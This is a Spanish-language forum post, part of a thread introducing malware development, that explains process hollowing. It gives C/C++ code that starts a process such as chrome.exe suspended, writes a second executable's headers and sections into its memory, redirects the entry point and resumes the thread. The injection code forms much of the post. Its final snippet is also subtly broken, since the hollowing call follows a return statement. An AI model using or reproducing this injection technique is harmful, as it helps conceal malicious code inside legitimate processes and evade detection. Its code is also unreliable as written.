Introducción basica al maldev

<< < (2/2)

D3s0rd3n:
Process Hollowing[/b]

Le digo ahuecamiento de proceso por que no sé cómo traducir "hollowing" en este contexto xd. Pero espero que con la explicación sea mas claro. Esta tecnica comienza con la creacion de un proceso legitimo en estado de suspensión. Este estado nos permite inyectarle codigo para que se ejecute dentro de el. Para que se dé de una manera exitosa, se requiere que la fuente del proceso cumpla con algunos requisitos:

Portable Executable: Debe estar en este formato o sea en el formato PE. Este formato incluye un encabezado y secciones que definen las características del ejecutable.Codigo ejecutable: Este ejecutable debe contener código que es ejecutable por el sistema. Este código se encuentra en la sección .text del archivo. Dirección de punto de entrada: El encabezado PE de la fuente debe contener la dirección del punto de entrada del programa. Esta es donde comienza la ejecución. Esta dirección se usa para poner el registro EAX en el contexto de la ejecución de el programa. Secciones y datos: La fuente debe contener secciones de datos como .text para el código entre otras. Estás secciones deben estar bien declaradas en el encabezado y sus datos deben ser accesibles.Tabla de reubicación: Esta no es obligatoria pero si util. Esta le permite la ejecución desde otra dirección base. Si la imagen no la tiene, la unica manera de cargarla seria a través de su dirección preferida.
Ahora un ejemplo de la creación de un proceso en estado suspendido. Cuando se carga, el codigo y datos se reemplazan con el código y datos de otro ejecutable. Lo que crea un proceso suspendido sobre el cual de pueden hacer operaciones con su memoria para cargar una nueva imagen.

Código
// Crear nueva instancia del proceso actual
if (CreateProcessA(path, 0, 0, 0, false, CREATE_SUSPENDED, 0, 0, &SI, &PI))
{
   // Alocar memoria para el contexto
   CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
   CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
 
   // Obtener contexto
   if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //si el contexto esta en el hilo
   {
       pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
           NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
 
       // Topografía de archivo
       WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
       for (int i = 0; i < NtHeader->FileHeader.NumberOfSections; i++)
           WriteProcessMemory
           (
               PI.hProcess,
               LPVOID((size_t)pImageBase + SectionHeader[i].VirtualAddress),
               LPVOID((size_t)Image + SectionHeader[i].PointerToRawData),
               SectionHeader[i].SizeOfRawData,
               0
           );
   }
}
 

La funcion CreateProcessA sirve para crear una nueva instancia de el proceso actual o de algun ejecutable en modo suspendido. Esto se hace con el parámetro CREATE_SUSOENDED lo que significa que su ejecución sera pausada. Despues de su creación se usa VirtualAlloc para alocar memoria para su contexto. La estructura CTX guarda información sobre el estado del proceso.

Obtener y actualizar el contexto

La funcion GetThreadContext obtiene informacion del contexto del hilo principal del proceso suspendido (PI.hThread). Este contexto es el que esta guardado en CTX. El contexto ahora se actualiza en preparación para la ejecución de codigo nuevo. Hablando mas técnicamente el registro EAX se establece para apuntar al codigo nuevo. Despues se copia el encabezado del PE dentro de la memoria a traves de WritePricessMemory. Esto para asegurar que se haya cargado correctamente. Ahora, un ciclo pasa por las secciones de la imagen (adentro del SectionHeader osea el encabezado de la sección.).   Esto copia los datos de la imagen a el espacio designado para el proceso usando WriteProcessMemory.

A este punto el proceso del ahuecado del proceso esta acomodado. Los datos y codigo del  otro PE han sido cargados a la memoria. La ejecución continuara resultando en que el codigo nuevo se ejecute en el contexto del programa inicial.

Código
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&pImageBase), 4, 0);
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX));
ResumeThread(PI.hThread);

La dirección de destino se calcula como CTX->Ebx + 8 y se escriben 4 bytes. Esta operacion establece el punto donde comienza la ejecución del nuevo código. El registro CTX->Eax es actualizado con el nuevo punto de entrada del codigo nuevo. En resumen lo que hace es establecer EIR (el registro de instruccion) a el punto donde esta el codigo que queremos cargar. El punto de entrada se obtiene del encabezado de la imagen. Y ahora que estamos listos invocamos ResumeThread para continuar la ejecución del proceso suspendido.

Es aqui donde el proceso empieza a ejecutar el codigo cargado empezando por el punto de entrada. El codigo que se inyectó en el proceso suspendido ahora tiene el control de la ejecucion del proceso.

Código
char CurrentFilePath[MAX_PATH + 1];
GetModuleFileNameA(0, CurrentFilePath, MAX_PATH);
if (strstr(CurrentFilePath, "chrome.exe")) {
MessageBoxA(0, "holi", "", 0);
return 0;
 
LONGLONG len = -1;
RunPortableExecutable("chrome.exe", MapFileToMemory(CurrentFilePath, len));
return 0;
}
 

Cuando este código es ejecutado, se obtiene el directorio del ejecutable como en si. Hay una revisión conditional para checkar CurrentFilePath usando strstr. Si este directorio contiene "chrome.exe" muestra el mensaje "holi" usando MessageBoxA. O la ejecucion continua si el directorio no cumple con la condicion. Se ejecuta RunPortableExecutable. Nuestro objectivo de ahuecado seria "chrome.exe", le pasa el codigo al proceso hueco y si no busca otra imagen.

Navegación

[0] Índice de Mensajes

[*] Página Anterior